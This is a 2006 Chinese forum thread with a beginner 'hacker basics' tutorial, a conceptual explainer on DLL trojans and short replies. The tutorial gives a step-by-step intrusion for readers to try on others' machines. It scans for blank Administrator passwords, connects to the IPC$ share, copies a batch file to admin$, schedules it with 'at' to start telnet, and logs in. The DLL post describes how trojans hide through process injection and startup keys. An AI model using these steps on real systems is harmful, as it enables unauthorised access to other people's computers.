渗透 发表于 2006-4-8 08:46:10

黑客基础

前言:你是不是很想做黑客呢?是不是经常周游于各个黑客站点呢?学黑客是真的很难的!它需要你有足够的耐性!毅力!只有持之以恒才能有所成就!好了~灌了那么多的水,下面就开始吧!注意:本文只适合新手!已入门的请去看别的技术文章吧!下面就用我仅仅知道的知识让你们取得第一次的成功吧!\\操作系统拜托你装个2000的好不好?不要再问为什么了~\\(本文注释用"\\注释内容\\"标记!

第一节课:命令的使用

你必须懂得一些命令才能更好地运用!总不能一边入侵一边去看例文吧!(什么?你喜欢?我晕了~)好了~下面就看看一些常用的命令吧!也就是入侵必须懂得的基本命令!如果你连这都栏得看的话你就可以放学了~放你的长假去吧!

1.net

NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION |
SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ]

上面就是net命令.你可以在cmd下键入net/?获得.我们看看一些常用的.

net user \\列举所有用户\\ 例子:c:\>net user

net localgroup \\把用户分组\\ 例子:c:\>net localgroup administrators guest /add \\把guest用户加到管理组.需要有足够的权限才能进行操作!\\

net share \\显示共享资源\\ 例子:c:\>net share

net start \\启动服务,或显示已启动服务的列表\\ 例子:\>net start 例子:\>net start telnet \\启动telnet\\

net stop \\停止Windows2000网络服务\\ 例子c:\>net stop telnet \\停止telnet服务\\

net time \\显示时间\\ 例子:c:\>net time 127.0.0.1 \\显示127.0.0.1的时间\\

net use \\显示关于计算机连接的信息\\ 例子:c:\>net use

net view \\显示域列表、计算机列表或者由指定计算机共享的资源\\ 例子:c:\>net view

net的基本命令就到此结束吧!但并不是说其它的命令不用去学!只是我的基本教学(入侵)课程需要用的命令是这些而已~自己去windows帮助那里看看吧!DOS下的基本命令是很重要的!如:copy等.还有ftp等等重要的命令因为种种原因请各位自行去看.(基本课程不能太复杂的,OK?!!!)好了~下课~

第二节课:端口和木马

A.第二节课了~这节课我们首先来学习一下端口吧!什么是端口?就是计算机和外界连接的通道!例如我们看网页用的实际上是80端口.

1)、telnet登录的端口 (23/tcp)
这个信息表明远程登录服务正在运行,在这里你可以远程登录到该主机.

2)、WWW(80/TCP)端口
它表明WWW服务在该端口运行
别告诉我你不知道WWW服务是什么哦,也就是说,如果有网站的服务器都有80端口。
3)、FTP(21/tcp)
ftp服务和TELNET服务一样,你还可以从FTP服务器上获得或上传资料木马等,有的还是匿名登陆的,不过这样的好事好像不多。
4)、finger (79/tcp) 端口
finger服务对入侵者来说是一个非常有用的信息,从它可以获得用户信息,查看机器的运行情况等。
5)、远程控制(3389)
这个端口用于远程登陆.

还有一些常见的端口例如110,135,139,25等等等.....我们这次基础教程需要用到的是23端口.其它的因为觉得重要所以也列举了出来.剩下的请自己去补补.(不是我不负责任.是课程的问题!请谅解!)PS:并不是所有的端口都是有用的.

B.木马

讲个故事给大家听吧!---->>传说希腊人围攻特洛伊城,久久不能得手。后来想出了一个木马计,让士兵藏匿于巨大的木马中。大部队假装撤退而将木马摈弃于特洛伊城下,让敌人将其作为战利品拖入城内。木马内的士兵则乘夜晚敌人庆祝胜利、放松警惕的时候从木马中爬出来,与城外的部队里应外合而攻下了特洛伊城。

木马的危害性是很大的!例如冰河等木马甚至可以远程控制你的电脑!同时木马也会打开一些端口.你也可以借查看端口来看看有没木马在你的电脑上运行.不过有的木马是利用已有的端口的.这个就比较麻烦了.需要用杀毒软件帮忙了~ \\我们的课程并不需要使用到木马.只是本人认为各位值得一学\\

第三节课:ipc入侵.

好了~估计你们看了那么多基础的东西已经很不耐烦了~这节课就来实行你的第一次入侵吧!咳咳~放下你的AK-47,我们不需要那个家伙....

A.什么是ipc?

IPC$是共享“命名管道”的资源,它对于程序间的通讯很重要。在远程管理计算机和查看计算机的共享资源时使用.利用IPC$我们可以与目标主机建立一个空的连接(无需用户名与密码),而利用这个空的连接,我们就可以得到目标主机上的用户列表。用“流光”的IPC$探测功能,就可以得到用户列表了,并可以配合字典,进行密码尝试。

B.OK!运用你在上两节课学到的知识跟我冲吧!掌握好你的命令使用了吗?

需要用的的扫描软件:xscan 操作系统:win2000(不要告诉我你那还是98或者me,我马上K了你!)

首先我们使用扫描器扫描一个IP段.打开xscan,选择"设置",再选"扫描模块",然后只选nt弱口令的那项.确定后选"设置","扫描参数"然后填入IP段.就127.0.0.1-127.0.0.255吧!(注意:IP段纯属虚构.)

假设我们已经扫到一个了.127.0.0.2 用户名:Administrator 密码:空(唉~真搞不清现在的人为什么这么没安全意识...)

打开cmd,输入:net use \\127.0.0.1\ipc$ "" /user:"Administrator" 命令成功完成.OK!下一步~

at \\127.0.0.1 \\这步纯属个人习惯.因为我想知道他开了AT没有.没开就放弃吧\\

接下来我们需要编辑一个批处理文件.打开记事本,输入如下内容:@net start telnet 然后保存为a.bat \\注意扩展名!是bat!\\

编辑好后就继续吧! copy a.bat \\127.0.0.1\admin$ \\admin$就是放在目标winnt的根目录下\\

net time \\127.0.0.1 \\看看目标的时间吧!有用的~\\

假设是晚上9点.接着下一步吧!

at \\127.0.0.1 20:01 a.bat \\用AT命令让目标运行a.bat.注意时间要24小时制的!\\

net time \\127.0.0.1 \\看看到时间没?\\

假设到了,我们就实行下一步吧!

telnet 127.0.0.1 \\登陆到对方的机子上.刚才的那个批处理就是用来打开它的23端口的~\\

接着输入用户名和密码 \\就是用户Administrator啊!密码是空的.回车就行了~\\

OK!一切成功!现在你可以做你想做的事了~例如添加用户等等(就是命令的使用啊!所以说命令重要!)



---------------基础课程<完>

好了~现在你们应该可以去实行自己的第一次入侵了~当然实际操作中并不全像上面的那么容易.会出现很多问题的.例如at不能执行.telnet上去时需要验证等等.这就留待你们自己去解决了~

渗透 发表于 2006-4-8 08:48:05

DLL木马揭秘

相信经常玩木马的朋友们都会知道一些木马的特性,也会有自己最喜爱的木马,不过,很多朋友依然不知道近年兴起的“DLL木马”为何物。什么是“DLL木马”呢?它与一般的木马有什么不同?

一、从DLL技术说起
要了解DLL木马,就必须知道这个“DLL”是什么意思,所以,让我们追溯到几年前,DOS系统大行其道的日子里。在那时候,写程序是一件繁琐的事情,因为每个程序的代码都是独立的,有时候为了实现一个功能,就要为此写很多代码,后来随着编程技术发展,程序员们把很多常用的代码集合(通用代码)放进一个独立的文件里,并把这个文件称为“库”(Library),在写程序的时候,把这个库文件加入编译器,就能使用这个库包含的所有功能而不必自己再去写一大堆代码,这个技术被称为“静态链接”(Static Link)。静态链接技术让劳累的程序员松了口气,一切似乎都很美好。可是事实证明,美好的事物不会存在太久,因为静态链接就像一个粗鲁的推销员,不管你想不想要宣传单,他都全部塞到你的手上来。写一个程序只想用到一个库文件包含的某个图形效果,就因为这个,你不得不把这个库文件携带的所有的图形效果都加入程序,留着它们当花瓶摆设,这倒没什么重要,可是这些花瓶却把道路都阻塞了——静态链接技术让最终的程序成了大块头,因为编译器把整个库文件也算进去了。
时代在发展,静态链接技术由于天生的弊端,不能满足程序员的愿望,人们开始寻找一种更好的方法来解决代码重复的难题。后来,Windows系统出现了,时代的分水岭终于出现。Windows系统使用一种新的链接技术,这种被称为“动态链接”(Dynamic Link)的新技术同样也是使用库文件,微软称它们为“动态链接库”——Dynamic Link Library,DLL的名字就是这样来的。动态链接本身和静态链接没什么区别,也是把通用代码写进一些独立文件里,但是在编译方面,微软绕了个圈子,并没有采取把库文件加进程序的方法,而是把库文件做成已经编译好的程序文件,给它们开个交换数据的接口,程序员写程序的时候,一旦要使用某个库文件的一个功能函数,系统就把这个库文件调入内存,连接上这个程序占有的任务进程,然后执行程序要用的功能函数,并把结果返回给程序显示出来,在我们看来,就像是程序自己带有的功能一样。完成需要的功能后,这个DLL停止运行,整个调用过程结束。微软让这些库文件能被多个程序调用,实现了比较完美的共享,程序员无论要写什么程序,只要在代码里加入对相关DLL的调用声明就能使用它的全部功能。最重要的是,DLL绝对不会让你多拿一个花瓶,你要什么它就给你什么,你不要的东西它才不会给你。这样,写出来的程序就不能再携带一大堆垃圾了——绝对不会让你把吃剩的东西带回家,否则罚款,这是自助餐。(图1——静态链接与动态链接)
DLL技术的诞生,使编写程序变成一件简单的事情,Windows为我们提供了几千个函数接口,足以满足大多数程序员的需要。而且,Windows系统自身就是由几千个DLL文件组成,这些DLL相互扶持,组成了强大的Windows系统。如果Windows使用静态链接技术,它的体积会有多大?我不敢想。

二、应用程序接口API
上面我们对DLL技术做了个大概分析,在里面我提到了“接口”,这又是什么呢?因为DLL不能像静态库文件那样塞进程序里,所以,如何让程序知道实现功能的代码和文件成了问题,微软就为DLL技术做了标准规范,让一个DLL文件像奶酪一样开了许多小洞,每个洞口都注明里面存放的功能的名字,程序只要根据标准规范找到相关洞口就可以取得它要的美味了,这个洞口就是“应用程序接口”(Application Programming Interface),每个DLL带的接口都不相同,尽最大可能的减少了代码的重复。
用Steven的一句话:API就是一个工具箱,你根据需要取出螺丝刀、扳手,用完后再把它们放回原处。
在Windows里,最基本的3个DLL文件是kernel32.dll、user32.dll、gdi32.dll。它们共同构成了基本的系统框架。

三、DLL与木马
DLL是编译好的代码,与一般程序没什么大差别,只是它不能独立运行,需要程序调用。那么,DLL与木马能扯上什么关系呢?如果你学过编程并且写过DLL,就会发现,其实DLL的代码和其他程序几乎没什么两样,仅仅是接口和启动模式不同,只要改动一下代码入口,DLL就变成一个独立的程序了。当然,DLL文件是没有程序逻辑的,这里并不是说DLL=EXE,不过,依然可以把DLL看做缺少了main入口的EXE,DLL带的各个功能函数可以看作一个程序的几个函数模块。DLL木马就是把一个实现了木马功能的代码,加上一些特殊代码写成DLL文件,导出相关的API,在别人看来,这只是一个普通的DLL,但是这个DLL却携带了完整的木马功能,这就是DLL木马的概念。也许有人会问,既然同样的代码就可以实现木马功能,那么直接做程序就可以,为什么还要多此一举写成DLL呢?这是为了隐藏,因为DLL运行时是直接挂在调用它的程序的进程里的,并不会另外产生进程,所以相对于传统EXE木马来说,它很难被查到。

四、DLL的运行
虽然DLL不能自己运行,可是Windows在加载DLL的时候,需要一个入口函数,就如同EXE的main一样,否则系统无法引用DLL。所以根据编写规范,Windows必须查找并执行DLL里的一个函数DllMain作为加载DLL的依据,这个函数不作为API导出,而是内部函数。DllMain函数使DLL得以保留在内存里,有的DLL里面没有DllMain函数,可是依然能使用,这是因为Windows在找不到DllMain的时候,会从其它运行库中找一个不做任何操作的缺省DllMain函数启动这个DLL使它能被载入,并不是说DLL可以放弃DllMain函数。

五、DLL木马技术分析
到了这里,您也许会想,既然DLL木马有那么多好处,以后写木马都采用DLL方式不就好了吗?话虽然是这么说没错,但是DLL木马并不是一些人想象的那么容易写的。要写一个能用的DLL木马,你需要了解更多知识。

1.木马的主体
千万别把木马模块写得真的像个API库一样,这不是开发WINAPI。DLL木马可以导出几个辅助函数,但是必须有一个过程负责主要执行代码,否则这个DLL只能是一堆零碎API函数,别提工作了。
如果涉及一些通用代码,可以在DLL里写一些内部函数,供自己的代码使用,而不是把所有代码都开放成接口,这样它自己本身都难调用了,更不可能发挥作用。
DLL木马的标准执行入口为DllMain,所以必须在DllMain里写好DLL木马运行的代码,或者指向DLL木马的执行模块。

2.动态嵌入技术
Windows中,每个进程都有自己的私有内存空间,别的进程是不允许对这个私人领地进行操作的,但是,实际上我们仍然可以利用种种方法进入并操作进程的私有内存,这就是动态嵌入,它是将自己的代码嵌入正在运行的进程中的技术。动态嵌入有很多种,最常见的是钩子、API以及远程线程技术,现在的大多数DLL木马都采用远程线程技术把自己挂在一个正常系统进程中。其实动态嵌入并不少见,罗技的MouseWare驱动就挂着每一个系统进程-_-
远程线程技术就是通过在另一个进程中创建远程线程(RemoteThread)的方法进入那个进程的内存地址空间。在DLL木马的范畴里,这个技术也叫做“注入”,当载体在那个被注入的进程里创建了远程线程并命令它加载DLL时,木马就挂上去执行了,没有新进程产生,要想让木马停止惟有让挂接这个木马DLL的进程退出运行。但是,很多时候我们只能束手无策——它和Explorer.exe挂在一起了,你确定要关闭Windows吗?(图2--DLL挂钩)

3.木马的启动
有人也许会迫不及待的说,直接把这个DLL加入系统启动项目不就可以了。答案是NO,前面说过,DLL不能独立运行,所以无法在启动项目里直接启动它。要想让木马跑起来,就需要一个EXE使用动态嵌入技术让DLL搭上其他正常进程的车,让被嵌入的进程调用这个DLL的DllMain函数,激发木马运行,最后启动木马的EXE结束运行,木马启动完毕。
启动DLL木马的EXE是个重要角色,它被称为Loader,如果没有Loader,DLL木马就是破烂一堆,因此,一个算得上成熟的DLL木马会想办法保护它的Loader不会那么容易被毁灭。记得狼狈为奸的故事吗?DLL木马就是爬在狼Loader上的狈。
Loader可以是多种多样的,Windows的rundll32.exe也被一些DLL木马用来做了Loader,这种木马一般不带动态嵌入技术,它直接挂着rundll32进程运行,用rundll32的方法(rundll32.exe ,[函数] [参数])像调用API一样去引用这个DLL的启动函数激发木马模块开始执行,即使你杀了rundll32,木马本体还是在的,一个最常见的例子就是3721中文实名,虽然它不是木马。(图3--启动项)
注册表的AppInit_DLLs键也被一些木马用来启动自己,如求职信病毒。利用注册表启动,就是让系统执行DllMain来达到启动木马的目的。因为它是kernel调入的,对这个DLL的稳定性有很大要求,稍有错误就会导致系统崩溃,所以很少看到这种木马。
有一些更复杂点的DLL木马通过svchost.exe启动,这种DLL木马必须写成NT-Service,入口函数是ServiceMain,一般很少见,但是这种木马的隐蔽性也不错,而且Loader有保障。

4.其它
到这里大家也应该对DLL木马有个了解了,是不是很想写一个?别急,不知道大家想过没有,既然DLL木马这么好,为什么到现在能找到的DLL木马寥寥无几?现在让我来泼冷水,最重要的原因只有一个:由于DLL木马挂着系统进程运行,如果它本身写得不好,例如没有防止运行错误的代码或者没有严格规范用户的输入,DLL就会出错崩溃。别紧张,一般的EXE也是这样完蛋的,但是DLL崩溃会导致它挂着的程序跟着遭殃,别忘记它挂接的是系统进程哦,结局就是……惨不忍睹。所以写一个能公布的DLL木马,在排错检查方面做的工作要比一般的EXE木马多,写得多了自己都烦躁……

六、DLL木马的发现和查杀
经常看看启动项有没有多出莫名其妙的项目,这是Loader的所在,只要杀了狼,狈就不能再狂了。而DLL木马本体比较难发现,需要你有一定编程知识和分析能力,在Loader里查找DLL名称,或者从进程里看多挂接了什么陌生的DLL,可是对新手来说……总之就是比较难啊比较难,所以,最简单的方法:杀毒软件和防火墙(不是万能药,切忌长期服用)。笔者水平有限,错误之处还请各位多多包涵。

继续颓废 发表于 2006-4-8 08:51:11

教坏小孩

眼里只有¥ 发表于 2006-4-8 08:52:34

这些东西没啥用了,开个防火墙你能怎么着?除非你是那种BT级高手

た一條ヤ﹎ 发表于 2006-4-8 08:54:39

防火墙在一般情况下还是很信得过的

渗透 发表于 2006-4-8 08:55:44

基本是思路就是这样
对于一些网络安全意识薄弱的人来说
嘿~~~那他就倒霉了

西装达摩 发表于 2006-4-8 09:11:06

这些不用再讲了吧,其实网上到处都是

渗透 发表于 2006-4-8 09:32:33

有些人就是很不会找这样的资料~
发出来给大家共享
会的就在巩固一下
不会的就好好看看~~

眼里只有¥ 发表于 2006-4-8 09:39:59

楼猪先别聊啊,我这边怎么还没动静呀?

渗透 发表于 2006-4-8 13:26:27

不要着急哦~~
会有你忙的找老师求救的`~
页: [1]
查看完整版本: 黑客基础